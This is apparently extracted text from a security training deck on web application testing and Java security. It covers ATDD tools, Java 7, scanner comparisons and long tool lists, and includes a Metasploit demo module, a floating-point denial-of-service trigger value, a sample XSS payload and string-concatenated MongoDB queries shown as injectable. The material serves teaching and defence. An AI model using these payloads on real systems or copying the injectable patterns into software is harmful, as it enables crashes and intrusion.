When it comes to implementing ATDD for a web application, a wide range of open source and commercial tools are available. Given this wide range, choosing your tool with care is important; it can mean the difference between a set of automated acceptance tests that is easy to maintain in the future, and one that quickly becomes unusable due to prohibitive maintenance costs. Modern automated web testing tools, both commercial and open source, fall into three categories:  Record/Replay  Script-based  Page Objects Record/Replay tools, such Selenium IDE and JAutomate, let a user step through a web application, recording the user's actions as a test script. While tempting in its simplicity, this approach is in fact a poor strategy. The low-level scripts generated by these tools are fragile and hard to maintain. For
  • 166. 165 | P a g e example, there is no reuse of testing logic between scripts, which makes maintaining the scripts very costly. Script-based testing is a slightly more flexible strategy. Tools such as Selenium, Watir, Canoo WebTest, and the commercial Quick Test Pro fall into this category. Tests are written in a programming language such as Java, Ruby, or VBScript. However this strategy is still quite low-level, focusing on the technical details of the web tests rather than the business requirements that they are testing. It also requires strong discipline and structure to avoid duplication within the scripts. Again, this tends to make tests more fragile and harder to maintain. Good automated acceptance tests should be high level, expressed in business terms. They need to isolate the "what" from the "how." Doing so ensures that, if the implementation details for a particular screen should change, the changes would only minimally affect the low-level test code, and not the high-level tests. Ideally, you want to maintain a level of abstraction between what a web page does in business terms ("Approve an invoice"), and how it does it ("click the invoice in the invoice list, wait for the details to appear, then click on the Approve button"). The Page Objects pattern, well supported by Selenium 2/WebDriver in particular, is an excellent choice for ATDD tests. High-level acceptance criteria need to be expressed in high-level business terms (the "what"), and then implemented under the hood using a set of well-structured, maintainable page objects. For example, an automated acceptance test will be expressed in business terms, and implemented as a series of steps. Each step will make use of page objects to interact with the web application. These levels of abstraction make the acceptance tests considerably more stable and maintainable. In conclusion Defining and automating your acceptance criteria up front makes a lot of sense. Not only does it provide clear goals for developers, it also gives excellent visibility into what feature are being implemented, how they will work, and how the project as a whole is progressing. And, as a bonus, ATDD will also provide you with a broad set of regression tests. Many open source tools exist to help you implement an ATDD strategy in your project -- see Resources for a listing of the ones discussed in this article. While you can use conventional unit testing tools for ATDD, dedicated ATDD tools provide a stronger emphasis on communication and reporting, which are key parts of the ATDD approach. And for web applications, automated testing tools based on the Page Objects pattern are an excellent choice when it comes to implementing the tests themselves.
  • 167. 166 | P a g e Java 7: What's in it for developers After a long wait and a rough start, Java 7 brings a multitude of improvements for developers. Key new capability: Support for dynamic languages A key feature of Java SE 7 is its accommodations for dynamic languages, which are becoming prominent on the JVM lately, thanks to the emergence of languages such as JRuby and Scala. For example, the new InvokeDynamic capability supports implementation of dynamically typed, object-oriented languages. InvokeDynamicbytecode supports "efficient and flexible execution of method invocations in the absence of static type information," says the Java Specification Request 292, the standards document detailing the capability. Hilwa says dynamic language support is the most important feature in the Java SE 7 release because it will help expand the Java ecosystem. Key new capability: Better multicore and parallelism support A multicore-ready API in the release, from the Fork/Join Framework, lets developers more easily decompose problems into tasks for parallel execution across multiple processor cores. IDC analyst Hilwa calls the multicore and parallels capabilities "the most innovative additions" in Java SE 7, and they will let developers "harness underlying multicore processors better." Key new capability: Compiler optimizations for developer productivity Developer productivity also is aided in Java SE 7, via Project Coin, which adds language changes to simplify common programming tasks and reduce coding. It clarifies syntax and makes the code easier to read, says Austin User Group chief Ratcliff. Project Coin's diamond syntax for constructor calls lets the compiler infer type arguments, and the try-with-resources statement helps the compiler make reliable code by automatically closing files, sockets, and database connections when developers forget to do this, Ratcliff says: "That's something that's been tripping up developers -- especially young developers -- for years. That'll be a good productivity improvement and will reduce bugs." Key new capabilities: File I/O, graphics, and sound boosts "I'm particularly a fan of the NIO2 [file-system capabilities]," says Java founder Gosling. The new NIO2 capabilities provide an interface for working with file systems that can access more file attributes and offer more information about errors, Oracle's documentation says. Java advocate Peter Lawrey, author of the Vanilla Java blog, citesSockets Direct Protocol (SDP) capabilities as important for network file I/O. "SDP is really there to improve support for Infiniband," he says. Infiniband is a competitor to iSCSI that has been making some headway in virtualization environments. Java SE 7 also features the XRender pipeline for 2D graphics rendering; it runs on top of the X Window system and can access modern graphics processors. A new sound engine, called Gervill, enables multiple applications on Linux to play sound using Audio Synthesis Engine Project MIDI synthesizer.
  • 168. 167 | P a g e Crash exploit – floating point conversion The vulnerability is triggered when 2.2250738585072012e-308 is converted to a binary floating number. It can be exploited to allow unauthenticated network attacks which can “cause a hang or frequently repeatable crash (complete Denial of Service) of the Java Runtime Environment”. Oracle notes that “Java based application and web servers are especially at risk from this vulnerability”. Java Compiler Integration Into the MetaSploit Framework ### # # java_hello.rb # ###
  • 169. 168 | P a g e require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::JAVACOMPILE def initialize(info = {}) super(update_info(info, 'Name' => 'Java compilation mixin demo', 'Description' => %q{ This module demonstrate the on-the-fly Java compilation mixin for the Metasploit framework. }, 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Targets' => [ [ 'Demo', { } ] ], 'DefaultTarget' => 0)) register_options( [ OptString.new('OUTPUTPATH', [ false, 'Working directory location.', './data/exploits/java/']), ], self.class) end # randomize classapplet names @@app1 = Rex::Text::rand_text_alpha(rand(100) + 1) def on_request_uri(cli, request) appname = @@app1
  • 170. 169 | P a g e # "Hello World" Java code hello = %Q| import java.awt.*; import java.applet.Applet; public class #{appname} extends Applet { public void paint(Graphics g) { g.drawString("Hello World", 20, 30); } } | if (request.uri.match(/.class$/i)) # compile Java code applet = java_compile(appname,hello) print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...") # Transmit the Java applet to the client send_response(cli, applet, { 'Content-Type' => 'application/octet-stream' }) # cleaning the working directory java_clean(appname) return end print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") html = %Q| <html> <head> <title>Java compilation mixin demo</title> </head> <body> <applet codebase="#{get_resource + "/"}" code="#{appname + ".class"}"></applet> </body>
  • 171. 170 | P a g e </html> | # Transmit the HTML page to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload (does nothing in this demo) handler(cli) end end
  • 172. 171 | P a g e
  • 173. 172 | P a g e Escaping the Java Sandbox – Was it ever done? Forceful browsing and logical DB access through application http://www.cigital.com/resources/vmovie/forceful_browsing/Forceful_browsing.swf Avoiding NoSQL-injection with MongoDB Secure APIs The most important practice is to as much as possible stick to APIs that don't involve string concatenation. Many of the database drivers seem to include fluent APIs where query language is
  • 174. 173 | P a g e reflected in the programming language. The .NET implementation called mongodb-net, has a syntax like this: coll.FindOne(Where.Field(a => a == 1)); This allows you to develop without thinking about how the query is actually constructed. The escaping is (hopefully) performed by the framework. Mathias Stearn also mentioned this API for building safe queries: queryObj.append("b", 2) Insecure APIs When using the insecure APIs like: db.myCollection.find("{ $where: 'this.a > " + userinput + "' }"); or db.foo.find("{ $or : [ { a : 1 } , { b : " + userinput + " } ] }") make sure you pay close attention. Whenever you do string concatenation, you need to escape the data correctly. MongoDB supports converting javascript queries to it's native query language expressed in BSON. When using this, there are two contexts you need to be aware of: 1. Inside a javascript string 2. Elsewhere Whenever you are concatenating data within a javascript string, make sure you do javascript escaping using a library like the OWASP ESAPI encoder or the AntiXss library from Microsoft's Web Protection Library. http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html The Encoder performs two key functions, encoding and decoding. These functions rely on a set of codecs that can be found in the org.owasp.esapi.codecs package. These include:  CSS Escaping  HTMLEntity Encoding  JavaScript Escaping  MySQL Escaping  Oracle Escaping  Percent Encoding (aka URL Encoding)  Unix Escaping  VBScript Escaping
  • 175. 174 | P a g e  Windows Encoding How to encode a URL string or form parameter in java Published: April 11, 2009 , Updated: April 10, 2009 , Author: mkyong print This is always advice to encode our URL or form parameters; uencoded form parameter is vulnerability to cross site attack, SQL injection and may direct our web application into some unpredicted output. A URL String or form parameters can be encoded using the URLEncoder class – static encode (String s, String enc) method. For example, when user enters following special characters, and our web application is not handle encoding, it will open our application to cross site script attack.
  • 176. 175 | P a g e <![CDATA[ <IMG SRC=" &#14; javascript:document.vulnerable=true;"> ]]> How to use URLEncoder to encode a string and URLDecoder to decode the encoded string package com.fsecure.swp; import java.io.UnsupportedEncodingException; import java.net.URLDecoder; import java.net.URLEncoder; public class testEncode{ public static void main(String args[]){ try{ String url = "<![CDATA[ <IMG SRC=" &#14; javascript:document.vulnerable=true;"> ]]>"; String encodedUrl = URLEncoder.encode(url,"UTF-8"); System.out.println("Encoded URL " + encodedUrl); String decodedUrl = URLDecoder.decode(url,"UTF-8"); System.out.println("Dncoded URL " + decodedUrl); }catch(UnsupportedEncodingException e){ System.err.println(e); } } } Result Encoded URL %3C%21%5BCDATA%5B+%3CIMG+SRC%3D%22+%26%2314%3B+ javascript%3Adocument.vulnerable%3Dtrue%3B%22%3E+%5D%5D%3E Dncoded URL <![CDATA[ <IMG SRC=" &#14; javascript:document.vulnerable=true;"> ]]> Please remember always encode the URL string and form parameters to prevent all the vulnerability attack. Reference http://java.sun.com/j2se/1.5.0/docs/api/java/net/URLEncoder.html
  • 177. 176 | P a g e H2 is a Java SQL database. The main feature are: Very fast Open Source Java Embedded, Server, and Cluster Disk and In Memory Strong security features
  • 178. 177 | P a g e
  • 179. 178 | P a g e
  • 180. 179 | P a g e
  • 181. 180 | P a g e Talk about diseases of high level languages like eval/preg_e..
  • 182. 181 | P a g e Most developers won’t do threat modeling in practice, since it makes them feel like they are
  • 183. 182 | P a g e “playing a game” or “wasting time”
  • 184. 183 | P a g e
  • 185. 184 | P a g e Combine risks and rank
  • 186. 185 | P a g e _ Take all of your findings and consider business impact _ Rank the findings _ Come up with solutions
  • 187. 186 | P a g e
  • 188. 187 | P a g e
  • 189. 188 | P a g e
  • 190. 189 | P a g e
  • 191. 190 | P a g e
  • 192. 191 | P a g e
  • 193. 192 | P a g e
  • 194. 193 | P a g e Security code Scanning Objectives Understand different offerings available to find vulnerabilities Learn pros and cons of those offerings Know about some open source and commercial scanning tools Industry Application Security Offerings Automated Dynamic web application interface scanning Static code scanning Web app firewalls Intrusion Prevention Systems (IPS) Manual Application penetration test Code review Automated vs. Manual: Advantages Advantages of automated solutions Low incremental cost Minimal training
  • 195. 194 | P a g e Potentially 24/7 protection Advantages of manual solutions No false positives Guaranteed code coverage Ability to identify complex vulnerabilities Understand business logic Acts like a determined attacker Can combine vulnerabilities What Automated Solutions Miss Theoretical Logic flaws (business and application) Design flaws Practical Difficulty interacting with Rich Internet Applications Complex variants of common attacks (SQL Injection, XSS, etc) Cross-Site Request Forgery (CSRF) Uncommon or custom infrastructure Abstract information leakage Conducting the Assessment If you are using automated scanning tools, beware of false positives and negatives Pattern recognition has limitations
  • 196. 195 | P a g e Combine various testing methods  Automated scanning  Code review  Manual testing Learn what tools do and do not do well Validate every finding Keep detailed notes Commercial Dynamic Scanning Tools Web Inspect – by HP Rational AppScan – by IBM Acunetix WVS – by Acunetix Hailstorm – by Cenzic NTOSpider – by NT OBJECTives Open Source and Low Cost Scanners W3af - http://w3af.sourceforge.net/ Burp Suite - http://portswigger.net/ Grendel Scan - http://grendel-scan.com/ Wapiti - http://wapiti.sourceforge.net/ Arachni - http://zapotek.github.com/arachni/ Skipfish - http://code.google.com/p/skipfish/ Paros - http://www.parosproxy.org/ (Free version no longer maintained)
  • 197. 196 | P a g e Code Scanning Tools Fortify – by HP Rational AppScan Source Edition – by IBM Coverity Static Analysis – by Coverity CxSuite – by Checkmarx Yasca – by OWASP Veracode binary analysis – Veracode (Veracode uses a different methodology than other scanners) Client Side Web Proxies Paros - http://www.parosproxy.org/ (Free version no longer maintained) Burp Suite - http://portswigger.net/ WebScarab NG - https://www.owasp.org/index.php/OWASP_WebScarab_NG_Project Charles Proxy - www.charlesproxy.com/ Browser Plugins: Internet Explorer: Fiddler Firefox: Tamper Data
  • 198. 197 | P a g e Paros Proxy
  • 199. 198 | P a g e
  • 200. 199 | P a g e W3af - Web application attack and audit framework
  • 201. 200 | P a g e
  • 202. 201 | P a g e
  • 203. 202 | P a g e
  • 204. 203 | P a g e
  • 205. 204 | P a g e IBM Rational App Scan
  • 206. 205 | P a g e
  • 207. 206 | P a g e
  • 208. 207 | P a g e
  • 209. 208 | P a g e
  • 210. 209 | P a g e
  • 211. 210 | P a g e HP Web Inspect
  • 212. 211 | P a g e
  • 213. 212 | P a g e
  • 214. 213 | P a g e
  • 215. 214 | P a g e
  • 216. 215 | P a g e Summary Over 90% of ecommerce PCI breaches are from application flaws Application security is not a percentage game. One missed flaw is all it takes Vulnerabilities can come from more than one avenue: Acquisitions Old or dead code Third-party libraries
  • 217. 216 | P a g e Analyzing the Effectiveness and Coverage of Web Application Security Scanners Abstract This paper summarizes my study of web application scanners and attempt to quantify their effectiveness. This study utilizes a novel methodology I've developed to objectively test the three leading web application vulnerability assessment tools. So far as the author knows, this is the first publicly published study that statistically evaluates application coverage and vulnerability findings by these tools. The study centered around testing the effectiveness of the top three web application scanners in the following 4 areas. 1. Links crawled 2. Coverage of the applications tested using Fortify Tracer 3. Number of verified vulnerability findings 4. Number of false positives One of the most surprising result is the discrepancy in coverage and vulnerability findings between the three tools. Lesser known NTOSpider excelled in every category, and the vulnerability findings show AppScan missed 88% and WebInspect missed 95% of the legitimate vulnerabilities found by NTOSpider. Introduction Testing the capabilities of web application scanners is an ongoing challenge that can be approached in a number of ways; the challenge is to create an objective test that is precise and can be replicated. While previous studies have tested web vulnerability assessment tools, none has statistically tested coverage or vulnerability findings in a precise manner. In this paper I take an approach that allows the data to be quantifiable to distinguish effectiveness (in terms of finding vulnerabilities) between the scanning tools. To do this I employed Fortify's Tracer product which inserts its hooks into actual production J2EE
  • 218. 217 | P a g e applications to enable measuring the “application security coverage” and then running each of the three top commercial security scanners against the application. This allowed for actual analysis of how much of an application's code base was actually executed during a scan which enabled me to look at the scanners in a new and quantifiable way. Summary The full results of the testing are going to be analyzed in further detail later in the report, but I would like to start off with some of the conclusions first. When looking at the results there are a number of ways to look at the data. There are difficulties around analysis of the overall percentages of the "possible" surface/sink coverage because it is hard to determine what subset of the full list is applicable to what a web scanner is expected to test (excluding optional features not enabled, alternative database drivers, import/export data features, etc). For this reason, the numbers become unusable and I decided to remained focused on understanding the capabilities of the web application scanners against each other. I started by comparing the results of the scanners against each other in the first two categories. Its interesting to see that the number of links crawled does not always indicate that more of the applications code base is being executed.
  • 219. 218 | P a g e It is important that the scanner is able to crawl well, but wasting time on redundant inputs only adds to the crawled links, but does not increase coverage of the applications code base. In our tests, NT OBJECTives' NTOSpider product crawled the most links on average, and had the best coverage in all scans; SpiDynamic's WebInspect was able to crawl better than WatchFire's AppScan on one
  • 220. 219 | P a g e application, but AppScan did slightly better when I looked at the code base it executed. This means that WebInspect wasted time on redundant or otherwise unimportant links. For this study I focused on verifying the findings found by the scanners for accuracy. Again the lesser known NTOSpider from NT OBJECTives had the most findings, lower false positives and most usable reports to aid in remediation. Methods Methodology
  • 221. 220 | P a g e The basic idea of the Tracer tool is to place code into the application that will be able to analyze the web application scanner as it accesses security critical areas of the application. Code can be placed manually into the application source as it is built and turned on and off as testing takes place. This is more difficult and time consuming and requires access to the source code and thus the technique most often used is byte code injection which only requires access to the compiled byte code. Software that uses bytecode in its operation (Java/.Net) can leverage techniques that come from the code coverage world such as instrumentation(byte code injection) in which code is inserted during build time or at run time using a custom class loader. Instrumentation adds the new code to the compiled code and thus the source is not necessary. Tracer employs byte code inserted statically into the compiled application byte code. Testing Each scanner was run in default mode and not tuned in any capacity to the application. The importance of this lies in how effective the default mode so that scalability of scanning is not limited by manual intervention and setup procedures which can be very time consuming. Second, in most cases it is simply unrealistic to spend much time with many applications. Each scanner was provided a basic username and password similar to what a basic user would receive. There were issues logging into some of the applications but calls to technical support quickly solved these problems. The Tracer application was configured to monitor each web scanner as it executed its tests. After completing each test run, the results were saved and the monitoring tool was reset for the next scanner. All vulnerability findings were hand vetted to determine if they were true findings or false positives.
  • 222. 221 | P a g e Detailed Results The following section reports the results of the tests. The analysis for this study was focused on 1) determining how well the scanners covered security sensitive sections of code within an application under test, 2) number of true vulnerability findings and 3) number of false positives. This study did not hand vet the applications to determine if there were any false negatives beyond those in the set discovered by any tool. A set of security sensitive coverage categories were selected from the result set and the presented in the following tables:
  • 223. 222 | P a g e The three applications chosen have increasing level of complexity and size. The three scanners all did a reasonable job on the smaller, first application. The second application resulted in some false positives for Appscan and WebInspect. The results for the last application are notable in that both AppScan and WebInspect severely underperformed NTOSpider in all three key areas of the test: 1) application coverage, 2) vulnerability findings and 3) avoidance of false positives. The fact that these results were most evident only in the most complex of these applications may indicate that for security groups to adequately test scanners, they need to use more complex applications. It is not surprising that smaller, less complex applications show less difference between the tools. One would expect fewer true findings and less complexity in crawling the applications. In the aggregate, NTOSpider crawled 328% more links than AppScan and 72% more links than WebInspect; NTOspider covered 24% more of the total APIs than AppScan and 30% more than WebInspect. NTOSpider found 227 total vulnerabilities versus 27 for AppScan and 12 for WebInspect. None of the findings by AppScan or WebInspect were missed by NTOSpider and AppScan missed 88% and WebInspect missed 95% of the legitimate vulnerabilities found by NTOSpider. NTOSpider had a 0% false positive rate. Appscan had 5 false positives and a 16% false positive rate. WebInspect had 12 false positives and a 52% false positive rate. The false positive findings were of interest because some appeared to be caused by custom 404 error handling routines in the web application, and some simply were based on faulty assumptions. In addition the areas that coverage tool reported as missed were analyzed to determine if there were any security critical sections and also to try and to determine whether it would actually be possible for http based requests to access that portion of the application. Conclusion The most surprising result is the discrepancy in the number of vulnerability findings between the
  • 224. 223 | P a g e three tools. AppScan and WebInpsect are market share leaders in the space and their companies were both recently purchased by large, sophisticated technology companies (AppScan by IBM and WebInspect by HP). While security professionals testing small, highly secure, simple applications may achieve acceptable results from AppScan and WebInpsect, these results indicate that they may have some concern with relying on the results of these tools for larger applications. The relatively large number of false positives, particularly for WebInspect, is also a matter of some concern. False positives can be difficult for all but the most experienced security professional to identify. If they are not identified, they can cause difficulties by weakening the credibility of the security team with application developers. Additionally, vetting false positives by hand, even by experienced security professionals is a very time intensive process that will increase the cost of the program. While WebInspect has certain tools to reduce false positives, it would appear that this remedy is not necessary if using NTOSpider (and to a lesser extent AppScan). In any case, training the tool to reduce false positives will need to be done by experienced personnel and will increase program costs. Source Code Analysis Tools Source Code Analysis tools are designed to analyze source code and/or compiled version of code in order to help find security flaws. Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically. Some tools are starting to move into the IDE. For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues
  • 225. 224 | P a g e they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle. Strengths and Weaknesses of such tools:  Strengths  Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))  For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great. Weaknesses  Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.  High numbers of false positives.  Frequently can't find configuration issues, since they are not represented in the code.  Difficult to 'prove' that an identified security issue is an actual vulnerability.  Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc. Important Selection Criteria  Requirement: Must support your language, but not usually a key factor once it does.  Types of Vulnerabilities it can detect (Out of the OWASP Top Ten?) (plus more?)  Does it require a fully buildable set of source?  Can it run against binaries instead of source?  Can it be integrated into the developer's IDE?  License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.) OWASP Tools of This Type  OWASP Orizon Project  OWASP LAPSE Project
  • 226. 225 | P a g e  OWASP O2 Platform Open Source or Free Tools Of This Type  FindBugs - Find Bugs (including some security flaws) in Java Programs  FxCop (Microsoft) - FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.  PMD - PMD scans Java source code and looks for potential code problems (this is a code quality tool that does not focus on security issues)  PreFast (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++ programs  RATS (Fortify) - Scans C, C++, Perl, PHP and Python source code for security problems like buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions  SWAAT - Simplistic Beta Tool - Languages: Java, JSP, ASP .Net, and PHP  Flawfinder Flawfinder - Scans C and C++  RIPS - RIPS is a static source code analyzer for vulnerabilities in PHP web applications Commercial Tools from OWASP Members Of This Type These vendors have decided to support OWASP by becoming members. OWASP appreciates the support from these organizations, but cannot endorse any commercial products or services.  Static Source Code Analysis with CodeSecure™ (Armorize Technologies)  Static Source Code Analysis with hypersource (art of defence)  Source Code Analysis (HP/Fortify)  Veracode (Veracode) Other Well Known Commercial Tools Of This Type  CxSuite (Checkmarx)  Prevent (Coverity)  IBM Rational AppScan Developer (formerly Ounce)  Insight (KlocWork)  Armorize  Fortify
  • 227. 226 | P a g e Or perhaps a free or open-source equivalent such as:  CAT.NET  FindBugs  Klocwork Solo  Armorize demo  Fotify Teamserver demo (or the Audit Workbench that comes with the book)  OWASP O2 (Ounce Open)
  • 228. 227 | P a g e Open Source Black Box Testing tools General Testing  OWASP WebScarab  OWASP CAL9000  CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts. o Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.  OWASP Pantera Web Assessment Studio Project  SPIKE - http://www.immunitysec.com  Paros - http://www.parosproxy.org  Burp Proxy - http://www.portswigger.net  Achilles Proxy - http://www.mavensecurity.com/achilles  Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/  Webstretch Proxy - http://sourceforge.net/projects/webstretch  Firefox LiveHTTPHeaders, Tamper Data and Developer Tools - http://www.mozdev.org  Grendel-Scan - http://www.grendel-scan.com  OWASP SWFIntruder  http://www.mindedsecurity.com/swfintruder.html Testing for specific vulnerabilities  Testing AJAX  OWASP Sprajax Project  Testing for SQL Injection  OWASP SQLiX  Sqlninja: a SQL Server Injection & Takeover Tool - http://sqlninja.sourceforge.net  Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net  Absinthe 1.1 (formerly SQLSqueal) - http://www.0x90.org/releases/absinthe/  SQLInjector - http://www.databasesecurity.com/sql-injector.htm  bsqlbf-1.2-th - http://www.514.es
  • 229. 228 | P a g e  Testing Oracle  TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html  Toad for Oracle - http://www.quest.com/toad  Testing SSL  Qualys SSL Labs - https://www.ssllabs.com/ssldb/index.html  G-SEC Harden TLS/SSL (beta) - http://www.g-sec.lu/sslharden/HardenSSL.zip  Foundstone SSL Digger - http://www.foundstone.com/resources/proddesc/ssldigger.htm  SSL Scan 1.9.0 - http://sourceforge.net/projects/sslscan/files/  SSL Tests - v2 - http://www.pentesterscripting.com/discovery/ssl_tests  Testing for Brute Force Password  THC Hydra - http://www.thc.org/thc-hydra/  John the Ripper - http://www.openwall.com/john/  Brutus - http://www.hoobie.net/brutus/  Medusa - http://www.foofus.net/~jmk/medusa/medusa.html  Testing Buffer Overflow  OllyDbg - http://www.ollydbg.de  "A windows based debugger used for analyzing buffer overflow vulnerabilities"  Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz  A fuzzer framework that can be used to explore vulnerabilities and perform length testing  Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net  A proactive binary checker  Fuzzer  OWASP WSFuzzer Googling  Foundstone Sitedigger (Google cached fault-finding) - http://www.foundstone.com/resources/proddesc/sitedigger.htm Commercial Black Box Testing tools  Typhon - http://www.ngssoftware.com/products/internet-security/ngs-typhon.php
  • 230. 229 | P a g e  NGSSQuirreL - http://www.ngssoftware.com/products/database-security/  Watchfire AppScan - http://www.watchfire.com  Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php  Burp Intruder - http://portswigger.net/intruder  Acunetix Web Vulnerability Scanner - http://www.acunetix.com  WebSleuth - http://www.sandsprite.com  NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php  Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester  Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/  MaxPatrol Security Scanner - http://www.maxpatrol.com  Ecyware GreenBlue Inspector - http://www.ecyware.com  Parasoft WebKing (more QA-type tool)  MatriXay - http://www.dbappsecurity.com  N-Stalker Web Application Security Scanner - http://www.nstalker.com Source Code Analyzers Open Source / Freeware  Owasp Orizon  OWASP LAPSE  OWASP O2 Platform  PMD - http://pmd.sourceforge.net/  FlawFinder - http://www.dwheeler.com/flawfinder  Microsoft’s FxCop  Splint - http://splint.org  Boon - http://www.cs.berkeley.edu/~daw/boon  FindBugs - http://findbugs.sourceforge.net
  • 231. 230 | P a g e Commercial  Armorize CodeSecure - http://www.armorize.com/index.php?link_id=codesecure  CodeWizard - http://www.parasoft.com/products/wizard  Checkmarx CxSuite - http://www.checkmarx.com  Fortify - http://www.fortifysoftware.com  GrammaTech - http://www.grammatech.com  ITS4 - http://www.cigital.com/its4  Ounce labs Prexis - http://www.ouncelabs.com  ParaSoft - http://www.parasoft.com  Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de  Veracode - http://www.veracode.com Acceptance Testing Tools Acceptance testing tools are used to validate the functionality of web applications. Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases. Most, if not all, can be adapted to perform security specific tests in addition to functional tests. Open Source Tools
  • 232. 231 | P a g e  WATIR - http://wtr.rubyforge.org  A Ruby based web testing framework that provides an interface into Internet Explorer.  Windows only.  HtmlUnit - http://htmlunit.sourceforge.net  A Java and JUnit based framework that uses the Apache HttpClient as the transport.  Very robust and configurable and is used as the engine for a number of other testing tools.  jWebUnit - http://jwebunit.sourceforge.net  A Java based meta-framework that uses htmlunit or selenium as the testing engine.  Canoo Webtest - http://webtest.canoo.com  An XML based testing tool that provides a facade on top of htmlunit.  No coding is necessary as the tests are completely specified in XML.  There is the option of scripting some elements in Groovy if XML does not suffice.  Very actively maintained.  HttpUnit - http://httpunit.sourceforge.net  One of the first web testing frameworks, suffers from using the native JDK provided HTTP transport, which can be a bit limiting for security testing.  Watij - http://watij.com  A Java implementation of WATIR.  Windows only because it uses IE for its tests (Mozilla integration is in the works).  Solex - http://solex.sourceforge.net  An Eclipse plugin that provides a graphical tool to record HTTP sessions and make assertions based on the results.  Selenium - http://www.openqa.org/selenium/  JavaScript based testing framework, cross-platform and provides a GUI for creating tests.  Mature and popular tool, but the use of JavaScript could hamper certain security tests. Other Tools Runtime Analysis  Rational PurifyPlus - http://www-306.ibm.com/software/awdtools Binary Analysis
